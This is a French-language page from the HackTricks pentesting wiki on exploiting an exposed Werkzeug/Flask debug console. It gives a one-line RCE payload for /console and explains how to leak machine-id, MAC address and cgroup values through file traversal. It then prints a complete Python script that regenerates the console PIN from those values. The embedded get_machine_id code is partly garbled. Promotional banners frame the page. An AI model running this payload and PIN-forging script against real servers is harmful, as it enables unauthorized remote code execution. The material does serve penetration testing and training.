9.8 KiB
Werkzeug / Flask Debug
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Console RCE
Si le mode de débogage est actif, vous pourriez essayer d'accéder à /console
et obtenir une RCE.
__import__('os').popen('whoami').read();
Il existe également plusieurs exploits sur Internet comme celui-ci ou un dans metasploit.
Protégé par code PIN - Traversée de chemin
Dans certains cas, le point de terminaison /console
va être protégé par un code PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.
Exploitation du code PIN de la console Werkzeug
Forcer une page d'erreur de débogage dans l'application pour voir ceci:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant la nécessité d'un NIP pour déverrouiller la console. La suggestion est de exploiter le NIP de la console en analysant l'algorithme de génération du NIP dans le fichier d'initialisation du débogage de Werkzeug (__init__.py
). Le mécanisme de génération du NIP peut être étudié à partir du dépôt de code source de Werkzeug, bien qu'il soit conseillé de se procurer le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version.
Pour exploiter le NIP de la console, deux ensembles de variables, probably_public_bits
et private_bits
, sont nécessaires :
probably_public_bits
username
: Fait référence à l'utilisateur qui a initié la session Flask.modname
: Généralement désigné commeflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Résout généralement à Flask.getattr(mod, '__file__', None)
: Représente le chemin complet versapp.py
dans le répertoire Flask (par exemple,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Siapp.py
n'est pas applicable, essayezapp.pyc
.
private_bits
uuid.getnode()
: Récupère l'adresse MAC de la machine actuelle, avecstr(uuid.getnode())
la traduisant en format décimal.- Pour déterminer l'adresse MAC du serveur, il faut identifier l'interface réseau active utilisée par l'application (par exemple,
ens3
). En cas d'incertitude, fuite/proc/net/arp
pour trouver l'identifiant du périphérique, puis extraire l'adresse MAC de/sys/class/net/<identifiant du périphérique>/address
. - La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme indiqué ci-dessous :
# Exemple d'adresse MAC : 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Concatène les données de/etc/machine-id
ou/proc/sys/kernel/random/boot_id
avec la première ligne de/proc/self/cgroup
après le dernier slash (/
).
Code pour `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Après avoir rassemblé toutes les données nécessaires, le script d'exploitation peut être exécuté pour générer le code PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui est ensuite soumis à un traitement supplémentaire pour produire le code PIN final. Voici le code Python pour exécuter ce processus :
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels spécifiques (cookiesalt
et pinsalt
), et en formatant la sortie. Il est important de noter que les valeurs réelles de probably_public_bits
et private_bits
doivent être obtenues avec précision à partir du système cible pour garantir que le PIN généré correspond à celui attendu par la console Werkzeug.
{% hint style="success" %} Si vous utilisez une ancienne version de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de sha1. {% endhint %}
Références
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.